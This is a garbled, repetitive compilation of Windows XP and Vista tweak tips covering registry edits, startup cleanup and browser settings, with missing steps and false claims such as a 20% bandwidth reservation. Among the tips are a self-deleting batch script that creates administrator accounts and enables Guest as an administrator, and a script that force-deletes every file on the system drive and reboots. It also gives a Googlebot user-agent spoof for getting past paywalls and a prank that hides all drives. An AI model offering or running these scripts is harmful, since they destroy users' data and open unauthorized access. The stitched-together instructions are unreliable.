Professional Documents
Culture Documents
Microsoft reserves 20% of your available bandwidth for their own purposes like Windows
Updates and interrogating your PC etc
To get it back:
Click Start then Run and type "gpedit.msc" without quotes.This opens the group policy
editor. Then go to:Local Computer Policy then Computer Configuration then
Administrative Templates then Network then QOS Packet Scheduler and then to Limit
Reservable Bandwidth. Double click on Limit Reservable bandwidth. It will say it is not
configured, but the truth is under the 'Explain' tab i.e."By default, the Packet Scheduler
limits the system to 20 percent of the bandwidth of a connection, but you can use this
setting to override the default."So the trick is to ENABLE reservable bandwidth, then set
it to ZERO. This will allow the system to reserve nothing, rather than the default 20%.It
works on Win 2000 as well.
There are a variety of reasons why your windows XP system would boot slowly. Most of
the times it this has to do with the startup applications. If you would like to speed up the
bootup sequence, consider removing some of the startup applications that you do not
need. Easiest way to remove startup apps is through System Configuration Utility. Go to
Start then Run and enter MSCONFIG and go to the Startup tab. Deselect/UnCheck
application(s) that you do not want to startup at boot time
The thing is, XP is still monitoring away, and some of its observation tools can use a
considerable amount of resources. The disk monitoring is an example of this, and it's a
good idea to turn the disk monitors off if you are not planning to use the performance
monitor application.
To do this:
Go to the command prompt ('start\run' then type 'cmd') and type 'diskperf -N'
Alternate Method
Win XP comes with many inbuilt performance monitoring applications that constantly
examine various parts of the system. This information can be of real use to a system
administrator for collecting performance statistics. However, for a home user, these
statistics hold no value and since the monitoring happens all the time, it consumes a good
deal of system resources. “Disk monitoring”, for example, happens in the background,
and turning it off is advisable if you will not be using the performance monitoring
applications. To turn it off, type in “diskperf -N” at a command prompt. To bring up the
command prompt: go to Start>Run, type in “cmd” and press [Enter].
Note: For deleting operating systems from boot.ini file, keep it mind that you can'tdelete
that o/s which is selected by default there. Beforemaking any changes make a copy of
boot.ini file.
Many programs add portions of themselves starting automatically on every login.This can
be either in the Startup Folder or the Registry. One easy way to tell is by looking at how
many icons are in your system tray. If you have a large number, perhaps unnecessary
resources are being allocated them as well as increasing your boot time. Typical examples
are Microsoft Office, Office FindFast, Real Player, ATI
http://www.orkut.com/archive/video">Video setting etc. You can remove them in one of
three main ways:
If there are applications or commands that you run every single time you start your
computer (Email comes to mind) you may want to consider setting things up so that these
programs run automatically during the Windows XP startup. This can be done quite easily
in XP by creating shortcuts and shuffling them around.
Here's how: Windows XP has a startup folder located at 'C:\ Documents and Settings\
(your user name)\ Start Menu\ Programs\Startup.' Shortcuts placed into this folder will be
run automatically when Windows XP starts up.
If you already have shortcuts for the programs you desire to use, copy and paste them
into the startup folder. Otherwise, go to 'start\programs,' select the program you would
like to create a shortcut for, right click it and select 'send to' then 'desktop.' This will
create a shortcut on the desktop that you can then use.
With a small registry tweak, Windows XP can be set to automatically close any program
that 'stops responding' (crashes), eliminating the need for you to use the task manager to
close down the offending software manually.
To do this:
Clean Ur RAM
U may recognize that ur system gets slower and slower when playing and working a lot
with ur pc. That's cause ur RAM is full of remaining progress pieces u do not need any
more.
Type
FreeMem=Space(64000000)
in this file and save it as RAMcleaner.vbs [ You may choose the "All Files" option when
u save it ]
Of course u can edit the code in the file for a greater "cleaning-progress".
FreeMem=Space(128000000)
This tutorial has been made so people that are having problems with corrupted files, can
learn how to fix them easy.
Requirement:
1. Windows XP CD
Now sit back and relax, it should all load and fix all your corrupted file on win XP.
Speed up your firefox browser and load pages 2-3 times faster than previous, its tested
1. Type "about:config" into the address bar and hit return. Scroll down and look for the
following entries:
network.http.pipelining
network.http.proxy.pipelining
network.http.pipelining.maxrequests
Normally the browser will make one request to a web page at a time. When you enable
pipelining it will make several at once, which really speeds up page loading.
Have you ever been using your computer and your system suddenly stops responding in
ways like it if you try to open something it just hangs? One time I tried deleting a folder
and it said it was in use, but it really wasn't. If this ever happens to you, you can follow
these simple steps to 'reboot' your computer without 'rebooting' it.
Goto the 'processes' tab and click explorer.exe once and then click 'end process'.
No matter how fast or shiny computers might be when they are new, they all seem to get
slower over time. That state-of-the-art PC you bought last year might not feel like such a
screamer after you install a dozen programs, load it with antispyware and antivirus tools,
and download untold amounts of junk from the Internet. The slowdown might happen so
gradually you hardly notice it, until one day you’re trying to open a program or file and
wonder, "What happened to my poor PC?"
Whatever the cause, there are a lot of ways to help speed up Windows and make your PC
work better—even without upgrading your hardware. Here are some tips to help you
optimize Windows Vista for faster performance.
Many PC manufacturers pack their new computers with programs you didn’t order and
might not want. These often include trial editions and limited edition versions of
programs that software companies hope you will try, find useful, and then pay to upgrade
to full versions or newer versions. If you decide you don’t want them, keeping the
software on your computer might slow it down by using precious memory, disk space,
and processing power.
It’s a good idea to uninstall all the programs you don’t plan to use. This should include
both manufacturer-installed software and software you installed yourself but don’t want
anymore—especially utility programs designed to help manage and tune your computer’s
hardware and software. Utility programs such as virus scanners, disk cleaners, and
backup tools often run automatically at startup, quietly chugging along in the background
where you can’t see them. Many people have no idea they are even running.
Even if your PC is older, it might contain manufacturer-installed programs that you never
noticed or have since forgotten about. It’s never too late to remove these and get rid of the
clutter and wasted system resources. Maybe you thought you might use the software
someday, but never did. Uninstall it and see if your PC runs faster.
Limit how many programs load at startup
Many programs are designed to load automatically when Windows starts. Software
manufacturers often set their programs to open in the background, where you can’t see
them running, so they’ll open right away when you click their icons. That's helpful for
programs you use a lot, but for programs you rarely or never use, this wastes precious
memory and slows down the time it takes Windows to finish loading.
But how can you tell what programs load automatically at startup? Sometimes this is
obvious, because the program will add an icon to the notification area on the taskbar,
where you can see it running. Look there and see if there are any programs running that
you don’t want to load automatically. Position your mouse over each icon to see the
program name. Be sure to click the Show hidden icons button so you don’t miss any
icons.
Note:Some people prefer to manage which programs load at startup using the System
Configuration tool.
Defragment your hard drive
Fragmentation makes your hard disk do extra work that can slow down your computer.
Disk Defragmenter rearranges fragmented data so your hard disk can work more
efficiently. Disk Defragmenter runs on a schedule, but you can also defragment your hard
disk manually.
Clean up your hard disk
If you want to reduce the number of unnecessary files on your hard disk to free up disk
space and help your computer run faster, use Disk Cleanup. It removes temporary files,
empties the Recycle Bin, and removes a variety of system files and other items that you
no longer need.
Run fewer programs at the same time
Sometimes changing your computing behavior can have a big impact on your PC's
performance. If you’re the type of computer user who likes to keep eight programs and a
dozen browser windows open at once—all while instant messaging your friends—don’t
be surprised if your PC bogs down. Keeping a lot of e-mail messages open can also use
up memory.
If you find your PC slowing down, ask yourself if you really need to keep all your
programs and windows open at once. Find a better way to remind yourself to reply to
e-mail messages than to keep all of them open.
Turn off visual effects
If Windows is running slowly, you can speed it up by disabling some of its visual effects.
It comes down to appearance versus performance. Would you rather have Windows run
faster or look prettier? If your PC is fast enough, you don’t have to make this tradeoff, but
if your computer is just barely powerful enough for Windows Vista, it can be useful to
scale back on the visual bells and whistles.
You can choose which visual effects to turn off, one by one, or you can let Windows
choose a bunch for you. There are 20 visual effects you can control, such as the
transparent glass look, the way menus open or close, and whether shadows are displayed.
The Performance Options dialog box lets you turn on or off up to 20 visual effects
To adjust all visual effects for best performance:
1. Open Performance Information and Tools by clicking the Start button , clicking
Control Panel, clicking System and Maintenance, and then clicking Performance
Information and Tools.
2. Click Adjust visual effects. If you are prompted for an administrator password or
confirmation, type the password or provide confirmation.
3. Click the Visual Effects tab, click Adjust for best performance, and then click OK.
(For a less drastic option, select Let Windows choose what’s best for my computer.)
Restart regularly
This tip is simple. Restart your PC at least once a week, especially if you use it a lot.
Restarting a PC is a good way to clear out its memory and ensure that any errant
processes and services that started running get shut down.
Restarting closes all the software running on your PC. Not only the programs you see
running on the taskbar, but also dozens of services that might have been started by
various programs and never stopped. Restarting can fix mysterious performance
problems where the exact cause is hard to pinpoint.
If you keep so many programs, e-mail messages, and websites open that you think
restarting is a hassle, that’s probably a sign you should restart your PC. The more things
you have open and the longer you keep them running, the greater the chances your PC
will bog down and eventually run low on memory.
Add more memory
This isn’t a guide to buying hardware that will speed up your computer. But no discussion
of how make Windows run faster would be complete without mentioning that you should
consider adding more memory to your PC.
If a computer running Windows Vista feels too slow, it’s usually because the PC doesn’t
have enough memory. The most sure–fire way to speed it up is to add more.
Windows Vista can run on a PC with 512 megabytes (MB) of random access memory
(RAM), but it runs better with 1 gigabyte (GB). For optimal performance, boost that to 2
GB or more.
If you're going to the trouble of opening up your PC case to add more memory, you might
as well boost the total to at least 2 GB. Especially if you're the sort of person who keeps a
dozen e-mail messages, ten browser windows, and six other programs open at once—all
while instant messaging.
Another option is to boost the amount of memory by using Windows ReadyBoost. This
feature allows you to use the storage space on some removable media devices, such as
USB flash drives, to speed up your computer. It’s easier to plug a flash drive into a USB
port than to open your PC case and plug memory modules into its motherboard.
Check for viruses and spyware
If your PC is running slowly, one dreaded possibility is that it might be infected with a
virus or spyware. This is not as common as the other problems, but it is something to
consider. Before you worry too much, check your PC using antispyware and antivirus
programs.
A common symptom of a virus is a much slower-than-normal computer performance.
Other signs include unexpected messages that pop up on your PC, programs that start
automatically, or the sound of your hard disk constantly working.
Spyware is a type of program that is installed, usually without your knowledge, to watch
your activity on the Internet. You can check for spyware with Windows Defender or other
anti-spyware programs.
The best way to deal with viruses is to prevent them in the first place. Always run
antivirus software and keep it up to date. Even if you take such precautions, however, it’s
possible for your PC to become infected.
Check your computer’s speed
If you try these tips and your computer is still too slow, you might need a new PC or
some hardware upgrades, such as a new hard disk, faster video card, or more memory.
There’s no need to guess the speed of your computer, however. Windows provides a way
to check and rate your PC’s speed with a tool called the Windows Experience Index.
The Windows Experience Index rates your computer on five key components and gives
you a number for each, as well as an overall base score. This base score is only as good as
your worst-performing component sub-score.
Base scores currently range from 1 to 5.9. (There is no score yet of 6.0 or higher,
although Microsoft plans to raise the ratings in the future as hardware improves.) If your
PC is rated lower than 2 or 3, it might be time to consider a new PC, depending on what
tasks you want to do with your computer.
Disable services you don’t need
This is the most technically advanced of all these tips. If you don’t want to mess with
anything too advanced or complicated, you can skip this one.
Windows has more than 100 services running quietly in the background with names such
as Network Access Protection Agent and Shell Hardware Detection. These typically
launch when your computer is started and they run until your computer is shut down.
Some secure Microsoft services cannot be disabled, but most others can be. Many
software companies also install their own services, some of which you can disable to
conserve memory and processor power.
You should not turn off a service unless you understand what it does and are confident
you don’t need it. Explaining what the many services in Windows do is beyond the scope
of this article, but there is plenty of information about this on various websites.
Don’t settle for slow
Don’t assume you have to sit there and tap your fingers while you wait for programs to
open and tasks to complete. With these tips, you just might be able to turn your tortoise
into a hare—or at least a faster tortoise.
These Settings will fine tune your systems memory management -at least 256MB of
RAM recommended
Code:
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Session
Manager/Memory Management
2.LargeSystemCache- double click it and change the decimal to 1 -this allows XP Kernal
to Run in memory improves system performance alot
3.create a new dword and name it IOPageLockLimit - double click it and set the value in
hex - 4000, if you have 128MB of ram, or set it to 10000 if you have 256MB,.... or it to
40000 if you have more than 512MB of ram -this tweak will speed up your disckcache
Start Regedit.
Navigate to
Code:
HKEY_LOCAL_MACHINE/SOFTWARE/microsoft/Dfrg/BootOptimizeFunction
Select Enable from the list on the right.Right on it and select Modify.Change the value to
Y to enable and N to disable.
This tweak will launch most executables with the priority setting you want it to have.
Let’s say you have a game installed called HIGH NEEDS and the executable is called
HN.exe
-Create a new textfile in the game-app wathever-directory (let’s say C:HN), but instead of
giving it the .txt extension you name it HN.bat
-Right-click this file and choose ‘Edit’, you’ll see it’ll open notepad. Put this line in:cmd
/c start /High NH.exe
-Save (make sure you save it as .bat, not as .txt) and close.
Now create a shortcut to this file and place it on your desktop. Every time you
doubleclick this shortcut HIGH NEEDS will open with priority set to ‘high’. (ofcourse
you can also create a batchfile on your desktop, containing the full path of the app you
want to start but the nice thing of creating a shortcut is you can give it an icon).
These are all the settings: Realtime, High, AboveNormal, Normal, BelowNormal, Low.
2. Move all the files and folders from the "plugins" directory to the "Optional" directory.
(I repeat.. cut and paste the files NOT copy & paste).
Also make sure that acrobat reader is not open else it will lock the files and not allow you
to move the files).
Now your acrobat reader will load very fast and almost as good as notepad !!
You can speed up your startup procedures by changing the BIOS with the built-in setup
utility.
How you run this utility varies from PC to PC, but you typically get to it by pressing the
Delete, F1, or F10 keys during startup.
You'll come to a menu with a variety of choices. Here are the choices to make for faster
system startups:
When you choose this option, your system runs an abbreviated POST rather than the
normal, lengthy one.
Disable this option. When it's enabled, your system spends a few extra secondslooking
for your floppy drive relatively pointless procedure, especially consideringhow
infrequently you use your floppy drive.
let you delay booting after you turn on your PC so that your hard drivegets a chance to
start spinning before bootup. Most likely, you don't need to have thisboot delay, so turn it
off. If you run into problems, however, you can turn it back on
.:~Download Link~:..
http://rapidshare.com/files/157431048/EtherDetect.rar
When you use My Network Places to browse for other machines on your network, it
usually takes a long time to display the list of shared resources for the target machine.
This is because Windows XP first checks for the scheduled tasks on the target machine
before listing the shared resources present on the computer.
To schedule a task using Windows XP’s Scheduled Tasks, choose Start –>Programs –>
Accessories–> System Tools–> Scheduled Tasks.
This unnecessary checking can easily add 30 seconds of delay. You can decrease the time
browsing takes by modifying the Registry to turn off this checking:
Invoke the Registry Editor by typing regedit at the command line or in run window.
Open the Registry key:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer
\
Remote Computer\NameSpaceDelete the following key (the value for it is the Scheduled
Tasks)
{D6277990-4C6A-11CF-8D87-00AA0060F5BF}Close the Registry and reboot
If you have 512 MB or more of RAM, you can increase system performance by having
the Windows XP 'Core' kept in the RAM instead of paged on the hard disk.
Go to Start -> Run - Type regedit and press enter - On the left hand side tree, navigate to
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session
Manager\Memory Management\
- On the list on the right side, look for an entry called 'DisablePagingExecutive'
- Double click it
- Press 1 on your keyboard
- Click OK
- Exit regedit and reboot the computer
To revert to the default setting, follow the same steps as above, but this time, press
0(zero) instead of 1 on the keyboard.
To change the name of the Recycle Bin desktop icon, click Start then goto Run, write
Regedit and press Enter. It opens Registry Editor. Now in Registry Editor go to:
HKEY_CLASSES_ROOT/CLSID/{645FF040-5081-101B-9F08-00AA002F954E}
and change the name "Recycle Bin" to whatever you want (don't type any quotes).
Open registry editor by going to Start then Run and entering regedit. Once in registry,
navigate to key
This registry edit will cause your system to reboot itself automatically upon crashing.
This can be useful if you have a reason for keeping your system on 24/7:
Open REGEDIT
Navigate to
'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl'
In right hand panel, right click and create new string value and name it as "Window Title"
and inside that write whatever you want....
If you don't use the Recycle Bin to store deleted files , you can get rid of its desktop icon
all together. In Run, type Regedit and go to:
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/explorer/
Desktop/NameSpace
In the Edit String dialog box, type Recycle Bin in the Value data box, and then click OK.
Open Registry Editor. In Registry Editor, navigate to the following registry key:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer
\Desktop\NameSpace . Create the following key: {D20EA4E1-3957-11d2-A40B-
0C5020524153} (just copy/paste, including the brackets). Close Registry Editor. There is
no need to reboot. Just wait a few seconds and see how the icon appears.
Note: If the partition is NTFS and you can't access the files from DOS:
Start Regedit
Go to
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion
\ Winlogon.
Change the value of Shell from Explorer.exe to explorer_1.exe
Many programs add portions of themselves starting automatically on every login.This can
be either in the Startup Folder or the Registry. One easy way to tell is by looking at how
many icons are in your system tray. If you have a large number, perhaps unnecessary
resources are being allocated them as well as increasing your boot time. Typical examples
are Microsoft Office, Office FindFast, Real Player, ATI
http://www.orkut.com/archive/video">Video setting etc. You can remove them in one of
three main ways:
With a small registry tweak, Windows XP can be set to automatically close any program
that 'stops responding' (crashes), eliminating the need for you to use the task manager to
close down the offending software manually.
To do this:
This is a great trick you can play on your friends. To disable the display of local or
networked drives when you click My Computer.
1. Go to start->run.
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explo
rer
Now in the right pane create a new DWORD item and name it NoDrives(it is case
sensitive). Now modify it's value and set it to 3FFFFFF (Hexadecimal). Now restart your
computer. So, now when you click on My Computer, no drives will be shown(all gone...).
To enable display of drives in My Computer, simply delete this DWORD item that you
created. Again restart your computer. You can now see all the drives again.
Magic........lol....
* On the right pane ==>> right-click and choose new Dword value .
* Rename it as Plural.
☺ ☺ Enjoy ☺ ☺
GO TO START>RUN>TYPE
REGEDIT>HKEY_LOCAL_MACHINE>HARDWARE>
DISCRIPTION>SYSTEM>CENTRALPROCESSOR>0
It is possible to change the name of the registered owner and registered organisation in
Windows XP. For those who dont know how to see the owner and the organisation follow
these steps to check.
Right click on My computer, click properties. Under the general tab,there is a line
'Registered to' The first line has the name of the owner and the next line has the name of
the organisation.
1. Click Start, Run and type regedit and press enter. Go to the following location in the
registry:
4.Under Value data, type the name that you want, and then click OK.
You are done. You make check out the changes as described earlier.
The value DefaultColor controls the foreground and background colors used in command
prompt windows. It has a default value of 0, for standard white text on a black
background.
Open your registry (press win+r and type regedit, hit enter)
goto
[HKEY_CURRENT_USER\Software\Microsoft\Command Processor]
A value of F0, for example, would give black text on a white background, and 1E would
yield yellow text on a blue background.
The change should take effect the next time you open a console window.
Allows you to change the title bar to read Windows Media Player provided by , so if I
had entered text of [The Elder Geek], it would read: Windows Media Player provided by
The Elder Geek
Windows Media Player provided by, so if I had entered text of [The Elder Geek], it would
read:
Windows Media Player provided by The Elder Geek
Exit Registry and Reboot
Note: Not works in WMP11
These Settings will fine tune your systems memory management -at least 256MB of
RAM recommended
Code:
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Session
Manager/Memory Management
2.LargeSystemCache- double click it and change the decimal to 1 -this allows XP Kernal
to Run in memory improves system performance alot
3.create a new dword and name it IOPageLockLimit - double click it and set the value in
hex - 4000, if you have 128MB of ram, or set it to 10000 if you have 256MB,.... or it to
40000 if you have more than 512MB of ram -this tweak will speed up your disckcache
Start Regedit.
Navigate to
Code:
HKEY_LOCAL_MACHINE/SOFTWARE/microsoft/Dfrg/BootOptimizeFunction
Select Enable from the list on the right.Right on it and select Modify.Change the value to
Y to enable and N to disable.
This tweak will launch most executables with the priority setting you want it to have.
Let’s say you have a game installed called HIGH NEEDS and the executable is called
HN.exe
-Create a new textfile in the game-app wathever-directory (let’s say C:HN), but instead of
giving it the .txt extension you name it HN.bat
-Right-click this file and choose ‘Edit’, you’ll see it’ll open notepad. Put this line in:cmd
/c start /High NH.exe
-Save (make sure you save it as .bat, not as .txt) and close.
Now create a shortcut to this file and place it on your desktop. Every time you
doubleclick this shortcut HIGH NEEDS will open with priority set to ‘high’. (ofcourse
you can also create a batchfile on your desktop, containing the full path of the app you
want to start but the nice thing of creating a shortcut is you can give it an icon).
These are all the settings: Realtime, High, AboveNormal, Normal, BelowNormal, Low.
This tweak allows an account that is normally displayed on the Welcome screen to be
hidden from view. To log on using the account it's necessary to use the Log On To
Windows dialog box similar to the one in Windows 2000.
echo off
title Please wait...
cls
net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add
del %0
Double-click the file to execute or type the above-given code in Command Prompt.
Note: this also creates a net account which is also accessable through nets open
XP hides some system software you might want to remove, such as Windows Messenger,
but you can tickle it and make it disgorge everything. Using Notepad or Edit, edit the text
file /windows/inf/sysoc.inf, search for the word 'hide' and remove it. You can then go to
the Add or Remove Programs in the Control Panel, select Add/Remove Windows
Components and there will be your prey, exposed and vulnerable.
or worse
@echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00
Ever experienced this? You ask Google to look something up; the engine returns with a
number of finds, but if you try to open the ones with the most promising content, you are
confronted with a registration page instead, and the stuff you were looking for will not be
revealed to you unless you agree to a credit card transaction first....
The lesson you should have learned here is: Obviously Google can go where you can't.
Can we solve this problem? Yes, we can. We merely have to convince the site we want to
enter, that WE ARE GOOGLE.In fact, many sites that force users to register or even pay
in order to search and use their content, leave a backdoor open for the Googlebot,
because a prominent presence in Google searches is known to generate sales leads, site
hits and exposure.Examples of such sites are Windows Magazine, .Net Magazine, Nature,
and many, many newspapers around the globe.How then, can you disguise yourself as a
Googlebot? Quite simple: by changing your browser's User Agent. Copy the following
code segment and paste it into a fresh notepad file. Save it as Useragent.reg and merge it
into your registry.
Version 5.00
Windows Registry Editor
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet
Settings\5.0\User Agent]
@="Googlebot/2.1"
"Compatible"="+http://www.googlebot.com/bot.html"
You may always change it back again.... I know only one site that uses you User Agent to
establish your eligability to use its services, and that's the Windows Update site...
To restore the IE6 User Agent, save the following code to NormalAgent.reg and merge
with your registry:
Hey guys you can change the yahoo messenger title bar...
For this just find the folder messenger in the drive in which the messenger is installed.
Then search a file named "ymsgr". Open it in "notepad".
In this file just go to the end and write the following code:
[APP TITLE]
CAPTION=Gautam's Messenger
Here you can write any name in place of "Gautam's Messenger"... then see the fun.... You
can have your own name being placed in yahoo messenger title bar.
1. All you need is your friends IP address and your Command Prompt.
2. Open your notepad and write tis code as it is……………… I would prefer you to copy
this !
@echo off
:A
Cls
echo MESSENGER
set /p n=User:
set /p m=Message:
net send %n% %m%
Pause
Goto A
6. After "User" type the IP address of the computer you want to contact.
7. Before you press "Enter" it should look like this:
MESSENGER
User: IP_Address
Message: Hi, How are you ?
8. Now all you need to do is press "Enter", and start chatting Now all you need to do is
press Enter, and start chatting.....
Comment if u liked it.. :)
Open notepad dump the following lines into it and save it with the name OEMINFO.INI
in the c:\windows\system32 directory:
——————————————————————-
[General]
Manufacturer=Your Name Here
Model=Your Model Here
[Support Information]
Line1=Your Name Here
Line2=Your Address Here
Line3=Your Email Address Here
———————————————————————
2. Then make a right click on my computer select properties, in the general tab a button
will be highlighted (support information) make a click on it, you will be able to see the
changes.
3. Now if you want to display some more information then simply increase the line in the
file.
Copy-paste following text in notepad and save it with .reg extension. Then just
merge/run it. You will get 2 new options on your Right click(context menu).
[HKEY_CLASSES_ROOT\AllFilesystemObjects\shellex\ContextMenuHandlers]
[HKEY_CLASSES_ROOT\AllFilesystemObjects\shellex\ContextMenuHandlers\Copy
To] @="{C2FBB630-2971-11D1-A18C-00C04FD75D13}"
[HKEY_CLASSES_ROOT\AllFilesystemObjects\shellex\ContextMenuHandlers\Move
To] @="{C2FBB631-2971-11D1-A18C-00C04FD75D13}"
Would you prefer to display your shortcuts without the arrow in the bottom left
hand corner? This tip will show you how to change the arrow icon or remove it
completely
Method 1:
1. Open your notepad or any script editor
2. Copy and paste the script below into you notepad and save the file with .vbs
extension e.g noArrow.vbs, just save it to your desktop
Option Explicit
Dim objShell, strRoot, strRead, strDelete, strCreate
strRoot = “HKEY_CLASSES_ROOT\lnkfile\IsShortCut”
‘ Create the Shell object
Set objShell = CreateObject(”WScript.Shell”)
strDelete = objShell.RegDelete(strRoot)
WScript.Echo “Error No: ” & err.number & ” check ” & strRoot
strDelete = null
WScript.Quit
3. Double click your VBScript, then ‘OK’ the message box. To see the arrows
disappear, simply logoff and logon again. Tadaaa!!!! The arrows
disappear!!..hahaaaa
Method 2:
Go to HKEY_CLASSES_ROOT
Note: This tweak effectively changes the properties of shortcuts so they are no longer
considered to be shortcuts by Windows, this may have some slight side effects, such as
hot keys not working as before.
These codes when executed makes your Caps, Num, Scroll lock keys flash..
very kewlll...i have tried it...
Instructions:
*paste any of the codes in notepad
*Save as AnyFileName.vbs
*Run the file
*to stop, launch task manager and then under "Processes", end wscript.exe
That's it for today's post, feel free to try and post comments.
Write down your notes... Press enter again... save and close..
Everytime you open the file, the current date and time gets recorded.
The Virus Source Code is for information purposes only, for researchers and
computer virus or programming enthusiasts. No warranty is given or to be implied
for any software listings contained herein. You take full responsibility for any
damages caused by compiling, running, or sharing this information. Be aware that
running any malicious code on another's computer or computer network might be a
criminal act. Use at your own risk!
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-
FILE!$H+H*
* Save the Notepad file as virus.com . To comfortably find the virus.com, I suggest
placing it in the Desktop.
* Run the virus.com file to test your computer efficiency. If there are not any
responses from the AntiVirus software, I suggest changing your AntiVirus
immediately because it does not work anymore.
* Enjoy testing it and note that this virus.com cannot affect or damage any parts of
your computer.
Not a fan of MSN Messenger? don't want Windows Media Player on your system?
Fair enough, but if you go to Add/Remove Programs in the Control Panel, by
default none of Windows XP's 'built in' programs are visible. it's fairly easy to
change, though... just open the file X:\Windows\inf\sysoc.inf (where X: is the drive
letter where Windows XP is installed) in Notepad. You should see a section of the file
something like this:
[Components]
NtComponents=ntoc.dll,NtOcSetupProc,,4
WBEM=ocgen.dll,OcEntry,wbemoc.inf,hide,7
Display=desk.cpl,DisplayOcSetupProc,,7
Fax=fxsocm.dll,FaxOcmSetupProc,fxsocm.inf,,7
NetOC=netoc.dll,NetOcSetupProc,netoc.inf,,7
iis=iis.dll,OcEntry,iis.inf,,7
com=comsetup.dll,OcEntry,comnt5.inf,hide,7
dtc=msdtcstp.dll,OcEntry,dtcnt5.inf,hide,7
IndexSrv_System = setupqry.dll,IndexSrv,setupqry.inf,,7
TerminalServer=TsOc.dll, HydraOc, TsOc.inf,hide,2
msmq=msmqocm.dll,MsmqOcm,msmqocm.inf,,6
ims=imsinsnt.dll,OcEntry,ims.inf,,7
fp_extensions=fp40ext.dll,FrontPage4Extensions,fp40ext.inf,,7
AutoUpdate=ocgen.dll,OcEntry,au.inf,hide,7
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7
RootAutoUpdate=ocgen.dll,OcEntry,rootau.inf,,7
IEAccess=ocgen.dll,OcEntry,ieaccess.inf,,7
This is a list of all components installed at the moment. I've taken the example of
MSN Messenger - the program entry called 'msmsgs', third-last line. You can see the
word 'hide' highlighted - this is the string which tells Windows not to display the
component in the Add/Remove Programs list. Fix this up by simply deleting the
word 'hide' like so:
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7
To this:
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,,7
Now, after restarting, you should be able to see MSN Messenger in the Add/Remove
Programs list. If you want to be able to quickly view and remove all components,
simply open the sysoc.inf file and do a global find and replace for the word ",hide"
and replace it with a single comma ",".
USB TWEAKS
ProCeDure:--
You will need a card reader to do this:-
edit:you can also do it by connecting your phone via usb
1. Connect card reader and copy all your files in the memory card to computer disk.
(Make sure you set the show all/hidden/os files to "on")
2. Do a format of the memory card using command line "format" and use the /A=size
option.
Alternative, you can use the Disk Management in Adminstrative Tools to format.
Make sure you select FAT16. For 256MB memory card, smallest block you can use is
4K, 128MB is 2K, 64Mb is 1K and 32MB is 512B.
(Note: You cannot use the phone "format ext.mem" to do this as the format just clear the
allocation table and does not change the block size)
Now you will find that you will have more space.
I have installed many software to to my 256MB memory card and it is nearly full. After
doing above, I got an "extra" 32MB.
By following a few simple guidelines, you can maintain your computer and keep it
running smoothly. This article discusses how to use the tools available in Windows
XP Service Pack 2 (SP2) and Windows Vista to more efficiently maintain your
computer and safeguard your privacy when you're online.
1. Click Start, point to All Programs, point to Accessories, point to System Tools,
and then click Disk Cleanup. If several drives are available, you might be prompted
to specify which drive you want to clean.
2. In the Disk Cleanup for dialog box, scroll through the content of the Files to
delete list.
3. Clear the check boxes for files that you don't want to delete, and then click OK.
4. When prompted to confirm that you want to delete the specified files, click Yes.
After a few minutes, the process completes and the Disk Cleanup dialog box closes,
leaving your computer cleaner and performing better.
Tip: You should analyze a volume before defragmenting it to get an estimate of how
long the defragmentation process will take.
3.To defragment the selected drive or drives, click the Defragment button. Note: In
Windows Vista, there is no graphical user interface to demonstrate the progress—
but your hard drive is still being defragmented.
After the defragmentation is complete, Disk Defragmenter displays the results.
4.To display detailed information about the defragmented disk or partition, click
View Report.
5.To close the View Report dialog box, click Close.
6.To close the Disk Defragmenter utility, click the Close button on the title bar of the
window.
As you use your hard drive, it can develop bad sectors. Bad sectors slow down hard
disk performance and sometimes make data writing (such as file saving) difficult, or
even impossible. The Error Checking utility scans the hard drive for bad sectors,
and scans for file system errors to see whether certain files or folders are misplaced.
If you use your computer daily, you should run this utility once a week to help
prevent data loss.
Tip: Only select the "Automatically fix file system errors" check box if you think
that your disk contains bad sectors.
Spyware collects personal information without letting you know and without asking
for permission. From the Web sites you visit to usernames and passwords, spyware
can put you and your confidential information at risk. In addition to privacy
concerns, spyware can hamper your computer's performance.
If you're using Windows Vista, you can use ReadyBoost to speed up your system. A
new concept in adding memory to a system, it allows you to use non-volatile flash
memory—like a USB flash drive or a memory card—to improve performance
without having to add additional memory.
You might be required to restart the PC, and then you are done with it, USB is now
blocked.
In case if you want to get the USB unblocked, just change the value again to 3.
See, its so easy. Isn’t it
The advantage of NTFS file system is more security options and fast. Normally USB
drive capacity is very small enough that NTFS is not recommended. But, nowadays
USB drives are coming with larger capacity also. So we can format USB drive with
NTFS to have more security options.
NTFS enabled USB Drives are write-able only on one PC and becomes read only on
all other PCs. Hence, we can read and write on our own PC and transfer files to
elsewhere without any fear of virus.
In XP, only FAT and FAT32 file systems are available in format options, use the
below steps to format in NTFS File System.
Disable Autorun
by Naani | 7:48 PM in Performance Tweaks, USB Tricks, Windows | comments (0)
If your pen drive is affected by any virus/worm/malware then it is suggested to
disable the autorun function in your computer.
Type gpedit.msc
press Enter
3.Now set it to Enabled if you want to turn off the autorun feature.
Select CD-ROM drive if you want to disable autorun only for CDS or select all
drives if you want to turn off autorun for all drives including your pen drives or
flash drives
WINDOWS TWEAKS
If you use your computer in an area where others may have access to it, and there are
things on your system you would rather have kept confidential, locking your desktop
when you leave the computer is an essential task. Here's a recipe for a desktop shortcut
that will lock your computer in two easy clicks:
Right clickon an empty area of the desktop and choose 'new' then 'shortcut.' The create
